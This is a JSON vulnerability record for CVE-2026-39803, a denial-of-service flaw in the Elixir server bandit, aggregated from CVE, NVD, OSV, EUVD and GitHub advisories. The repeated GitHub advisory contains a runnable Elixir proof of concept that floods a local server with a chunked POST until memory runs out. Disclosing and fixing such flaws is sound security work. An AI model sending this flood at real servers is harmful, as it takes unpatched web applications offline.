{"id":"CVE-2026-39803","aliases":["EEF-CVE-2026-39803","EUVD-2026-29950","GHSA-9q9q-324x-93r2"],"status":"published","title":"HTTP/1 chunked body reader ignores length cap in bandit","description":"Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion.\n\nThe chunked clause of 'Elixir.Bandit.HTTP1.Socket':read_data/2 in lib/bandit/http1/socket.ex ignores the caller-supplied :length option when reading HTTP/1 chunked request bodies. Instead of capping the accumulated body at the configured limit (e.g. Plug.Parsers' default 8 MB), do_read_chunked_data!/5 buffers every received chunk into an iolist unconditionally and materializes the entire body as a single binary. The function always returns {:ok, body, ...}, so callers cannot interpose a 413 response.\n\nBecause Plug.Parsers runs before routing and authentication in the standard Phoenix endpoint, an unauthenticated attacker needs no valid route or credentials. Sending a single Transfer-Encoding: chunked POST request with an arbitrarily large body to any path causes the BEAM process to exhaust available memory and be terminated by the OS OOM killer.\n\nThe content-length path in the same function correctly enforces the limit and is not affected.\n\nThis issue affects bandit: from 1.4.0 before 1.11.1.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00642,"percentile":0.51116,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-770"],"published":"2026-05-13T13:36:09Z","modified":"2026-10-28T02:30:26Z","fixes":[{"ecosystem":"Hex","package":"bandit","fixed_in":["1.11.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Hex","package":"bandit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.4.0"},{"fixed":"1.11.1"}]}]},{"source":"osv","ecosystem":"Hex","package":"bandit","ranges":[{"type":"SEMVER","events":[{"introduced":"1.4.0"},{"fixed":"1.11.1"}]}],"versions":["1.10.0","1.10.1","1.10.2","1.10.3","1.10.4","1.11.0","1.4.0","1.4.1","1.4.2","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.6.0","1.6.1","1.6.10","1.6.11","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.8.0","1.9.0"]},{"source":"osv","ecosystem":"Hex","package":"bandit","ranges":[{"type":"SEMVER","events":[{"introduced":"1.4.0"},{"fixed":"1.11.1"}]}],"versions":["1.10.0","1.10.1","1.10.2","1.10.3","1.10.4","1.11.0","1.4.0","1.4.1","1.4.2","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.6.0","1.6.1","1.6.10","1.6.11","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.8.0","1.9.0"]}],"products":[{"vendor":"mtrudel","product":"bandit"}],"references":[{"url":"https://github.com/mtrudel/bandit/security/advisories/GHSA-9q9q-324x-93r2","tags":["vendor-advisory","related","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://cna.erlef.org/cves/CVE-2026-39803.html","tags":["related","Third Party Advisory","web"]},{"url":"https://osv.dev/vulnerability/EEF-CVE-2026-39803","tags":["related","Third Party Advisory","web"]},{"url":"https://github.com/mtrudel/bandit/commit/ae3520dfdbfab115c638f8c7f6f6b805db34e1ab","tags":["patch","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39803","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9q9q-324x-93r2"},{"url":"https://github.com","tags":["web"]},{"url":"https://repo.hex.pm","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/39xxx/CVE-2026-39803.json","tags":["advisory"]},{"url":"https://github.com/mtrudel/bandit","tags":["package"]},{"url":"https://hex.pm/packages/bandit","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-39803","title":"HTTP/1 chunked body reader ignores length cap in bandit","description":"Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion.\n\nThe chunked clause of 'Elixir.Bandit.HTTP1.Socket':read_data/2 in lib/bandit/http1/socket.ex ignores the caller-supplied :length option when reading HTTP/1 chunked request bodies. Instead of capping the accumulated body at the configured limit (e.g. Plug.Parsers' default 8 MB), do_read_chunked_data!/5 buffers every received chunk into an iolist unconditionally and materializes the entire body as a single binary. The function always returns {:ok, body, ...}, so callers cannot interpose a 413 response.\n\nBecause Plug.Parsers runs before routing and authentication in the standard Phoenix endpoint, an unauthenticated attacker needs no valid route or credentials. Sending a single Transfer-Encoding: chunked POST request with an arbitrarily large body to any path causes the BEAM process to exhaust available memory and be terminated by the OS OOM killer.\n\nThe content-length path in the same function correctly enforces the limit and is not affected.\n\nThis issue affects bandit: from 1.4.0 before 1.11.1.","status":"published","published":"2026-05-13T13:36:09.648Z","modified":"2026-05-27T15:40:37.538Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:20:02.662847Z"}],"euvd":[{"id":"EUVD-2026-29950","description":"Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion.\n\nThe chunked clause of 'Elixir.Bandit.HTTP1.Socket':read_data/2 in lib/bandit/http1/socket.ex ignores the caller-supplied :length option when reading HTTP/1 chunked request bodies. Instead of capping the accumulated body at the configured limit (e.g. Plug.Parsers' default 8 MB), do_read_chunked_data!/5 buffers every received chunk into an iolist unconditionally and materializes the entire body as a single binary. The function always returns {:ok, body, ...}, so callers cannot interpose a 413 response.\n\nBecause Plug.Parsers runs before routing and authentication in the standard Phoenix endpoint, an unauthenticated attacker needs no valid route or credentials. Sending a single Transfer-Encoding: chunked POST request with an arbitrarily large body to any path causes the BEAM process to exhaust available memory and be terminated by the OS OOM killer.\n\nThe content-length path in the same function correctly enforces the limit and is not affected.\n\nThis issue affects bandit: from 1.4.0 before 1.11.1.","status":"published","published":"2026-05-13T13:36:09Z","modified":"2026-05-27T15:40:37Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:21:04.415835Z"}],"ghsa":[{"id":"GHSA-9q9q-324x-93r2","title":"Bandit: Unauthenticated one-shot DoS via `Transfer-Encoding: chunked`","description":"### Summary\n\nBandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. `Plug.Parsers`' default 8 MB `length:`) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single `Transfer-Encoding: chunked` request to any URL.\n\n### Details\n\nIn `lib/bandit/http1/socket.ex:189`, the chunked clause of `read_data/2` only forwards `:read_length` and `:read_timeout` to `do_read_chunked_data!/5` (`:242`); the caller-supplied `:length` cap is dropped. The recursion accumulates every chunk into an iolist and `IO.iodata_to_binary/1` (`:196`) materializes the whole thing as one binary. The function always returns `{:ok, body, ...}` — never `{:more, ...}` — so callers cannot interpose a 413.\n\nThe content-length sibling at `:210` does the right thing:\n\n```elixir\nmax_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000))\n```\n\nBecause `Plug.Parsers` runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route — any `Content-Type` matching a configured parser (`:json`, `:urlencoded`, `:multipart`) on any path triggers the bug.\n\n**Suggested Fix:** track accumulated bytes in `do_read_chunked_data!` and either return `{:more, ...}` or raise `request_error!` once `:length` is exceeded, mirroring the content-length path.\n\n### PoC\n\nSelf-contained — boots a Bandit server with a realistic `Plug.Parsers` (`length: 8_000_000`) and floods it. Save as `chunked_oom.exs`, run `elixir chunked_oom.exs`, and watch `beam.smp` RSS climb past 8 MB until the OS OOM-killer fires.\n\n```elixir\nMix.install([{:bandit, \"~\u003e 1.10\"}, {:plug, \"~\u003e 1.19\"}])\n\ndefmodule DemoApp do\n  use Plug.Builder\n\n  # The `length` option here is ignored by the attack\n  plug Plug.Parsers, parsers: [:urlencoded, :json], pass: [\"*/*\"], json_decoder: JSON, length: 8_000_000\n  plug :respond\n\n  def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, \"ok\")\nend\n\n{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)\n\n# Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side.\nchunk = :binary.copy(\u003c\u003c?A\u003e\u003e, 1_048_576)\nframe = \"#{Integer.to_string(1_048_576, 16)}\\r\\n#{chunk}\\r\\n\"\n\n{:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", 4321, [:binary, active: false])\n\n:ok =\n  :gen_tcp.send(sock, \"\"\"\n  POST / HTTP/1.1\\r\n  Host: 127.0.0.1\\r\n  Transfer-Encoding: chunked\\r\n  Content-Type: application/json\\r\n  Connection: close\\r\n  \\r\n  \"\"\")\n\nEnum.each(1..10_240, fn _ -\u003e :ok = :gen_tcp.send(sock, frame) end)\n:ok = :gen_tcp.send(sock, \"0\\r\\n\\r\\n\")\n\nIO.inspect(:gen_tcp.recv(sock, 0, 120_000))\n```\n\n### Impact\n\nUnauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere — i.e. essentially every Phoenix app, since the default endpoint mounts `Plug.Parsers` ahead of routing and auth. Configured `length:` caps on `Plug.Parsers` and `Plug.Conn.read_body/2` are silently ineffective on the chunked path.","status":"published","published":"2026-05-19T19:23:49Z","modified":"2026-06-08T20:17:14Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:40:20.187636Z"}],"nvd":[{"id":"CVE-2026-39803","description":"Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion.\n\nThe chunked clause of 'Elixir.Bandit.HTTP1.Socket':read_data/2 in lib/bandit/http1/socket.ex ignores the caller-supplied :length option when reading HTTP/1 chunked request bodies. Instead of capping the accumulated body at the configured limit (e.g. Plug.Parsers' default 8 MB), do_read_chunked_data!/5 buffers every received chunk into an iolist unconditionally and materializes the entire body as a single binary. The function always returns {:ok, body, ...}, so callers cannot interpose a 413 response.\n\nBecause Plug.Parsers runs before routing and authentication in the standard Phoenix endpoint, an unauthenticated attacker needs no valid route or credentials. Sending a single Transfer-Encoding: chunked POST request with an arbitrarily large body to any path causes the BEAM process to exhaust available memory and be terminated by the OS OOM killer.\n\nThe content-length path in the same function correctly enforces the limit and is not affected.\n\nThis issue affects bandit: from 1.4.0 before 1.11.1.","status":"published","published":"2026-05-13T14:17:32.633Z","modified":"2026-10-26T14:10:00.13Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:12:19.020465Z"}],"osv":[{"id":"CVE-2026-39803","title":"HTTP/1 chunked body reader ignores length cap in bandit","description":"Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion.\n\nThe chunked clause of 'Elixir.Bandit.HTTP1.Socket':read_data/2 in lib/bandit/http1/socket.ex ignores the caller-supplied :length option when reading HTTP/1 chunked request bodies. Instead of capping the accumulated body at the configured limit (e.g. Plug.Parsers' default 8 MB), do_read_chunked_data!/5 buffers every received chunk into an iolist unconditionally and materializes the entire body as a single binary. The function always returns {:ok, body, ...}, so callers cannot interpose a 413 response.\n\nBecause Plug.Parsers runs before routing and authentication in the standard Phoenix endpoint, an unauthenticated attacker needs no valid route or credentials. Sending a single Transfer-Encoding: chunked POST request with an arbitrarily large body to any path causes the BEAM process to exhaust available memory and be terminated by the OS OOM killer.\n\nThe content-length path in the same function correctly enforces the limit and is not affected.\n\nThis issue affects bandit: from 1.4.0 before 1.11.1.","status":"published","published":"2026-05-13T13:36:09.648Z","modified":"2026-10-28T02:30:26.083700853Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:45:03.040464Z"},{"id":"EEF-CVE-2026-39803","title":"HTTP/1 chunked body reader ignores length cap in bandit","description":"## Summary\n\nAllocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion.\n\nThe chunked clause of 'Elixir.Bandit.HTTP1.Socket':read\\_data/2 in lib/bandit/http1/socket.ex ignores the caller-supplied :length option when reading HTTP/1 chunked request bodies. Instead of capping the accumulated body at the configured limit (e.g. Plug.Parsers' default 8 MB), do\\_read\\_chunked\\_data!/5 buffers every received chunk into an iolist unconditionally and materializes the entire body as a single binary. The function always returns {:ok, body, ...}, so callers cannot interpose a 413 response.\n\nBecause Plug.Parsers runs before routing and authentication in the standard Phoenix endpoint, an unauthenticated attacker needs no valid route or credentials. Sending a single Transfer-Encoding: chunked POST request with an arbitrarily large body to any path causes the BEAM process to exhaust available memory and be terminated by the OS OOM killer.\n\nThe content-length path in the same function correctly enforces the limit and is not affected.\n\nThis issue affects bandit: from 1.4.0 before 1.11.1.","status":"published","published":"2026-05-13T13:36:09.648Z","modified":"2026-07-30T18:22:11.174973Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:46:33.047032Z"},{"id":"GHSA-9q9q-324x-93r2","title":"Bandit: Unauthenticated one-shot DoS via `Transfer-Encoding: chunked`","description":"### Summary\n\nBandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. `Plug.Parsers`' default 8 MB `length:`) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single `Transfer-Encoding: chunked` request to any URL.\n\n### Details\n\nIn `lib/bandit/http1/socket.ex:189`, the chunked clause of `read_data/2` only forwards `:read_length` and `:read_timeout` to `do_read_chunked_data!/5` (`:242`); the caller-supplied `:length` cap is dropped. The recursion accumulates every chunk into an iolist and `IO.iodata_to_binary/1` (`:196`) materializes the whole thing as one binary. The function always returns `{:ok, body, ...}` — never `{:more, ...}` — so callers cannot interpose a 413.\n\nThe content-length sibling at `:210` does the right thing:\n\n```elixir\nmax_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000))\n```\n\nBecause `Plug.Parsers` runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route — any `Content-Type` matching a configured parser (`:json`, `:urlencoded`, `:multipart`) on any path triggers the bug.\n\n**Suggested Fix:** track accumulated bytes in `do_read_chunked_data!` and either return `{:more, ...}` or raise `request_error!` once `:length` is exceeded, mirroring the content-length path.\n\n### PoC\n\nSelf-contained — boots a Bandit server with a realistic `Plug.Parsers` (`length: 8_000_000`) and floods it. Save as `chunked_oom.exs`, run `elixir chunked_oom.exs`, and watch `beam.smp` RSS climb past 8 MB until the OS OOM-killer fires.\n\n```elixir\nMix.install([{:bandit, \"~\u003e 1.10\"}, {:plug, \"~\u003e 1.19\"}])\n\ndefmodule DemoApp do\n  use Plug.Builder\n\n  # The `length` option here is ignored by the attack\n  plug Plug.Parsers, parsers: [:urlencoded, :json], pass: [\"*/*\"], json_decoder: JSON, length: 8_000_000\n  plug :respond\n\n  def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, \"ok\")\nend\n\n{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)\n\n# Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side.\nchunk = :binary.copy(\u003c\u003c?A\u003e\u003e, 1_048_576)\nframe = \"#{Integer.to_string(1_048_576, 16)}\\r\\n#{chunk}\\r\\n\"\n\n{:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", 4321, [:binary, active: false])\n\n:ok =\n  :gen_tcp.send(sock, \"\"\"\n  POST / HTTP/1.1\\r\n  Host: 127.0.0.1\\r\n  Transfer-Encoding: chunked\\r\n  Content-Type: application/json\\r\n  Connection: close\\r\n  \\r\n  \"\"\")\n\nEnum.each(1..10_240, fn _ -\u003e :ok = :gen_tcp.send(sock, frame) end)\n:ok = :gen_tcp.send(sock, \"0\\r\\n\\r\\n\")\n\nIO.inspect(:gen_tcp.recv(sock, 0, 120_000))\n```\n\n### Impact\n\nUnauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere — i.e. essentially every Phoenix app, since the default endpoint mounts `Plug.Parsers` ahead of routing and auth. Configured `length:` caps on `Plug.Parsers` and `Plug.Conn.read_body/2` are silently ineffective on the chunked path.","status":"published","published":"2026-05-19T19:23:49Z","modified":"2026-06-08T20:31:01.136156928Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:46:44.225359Z"}]}}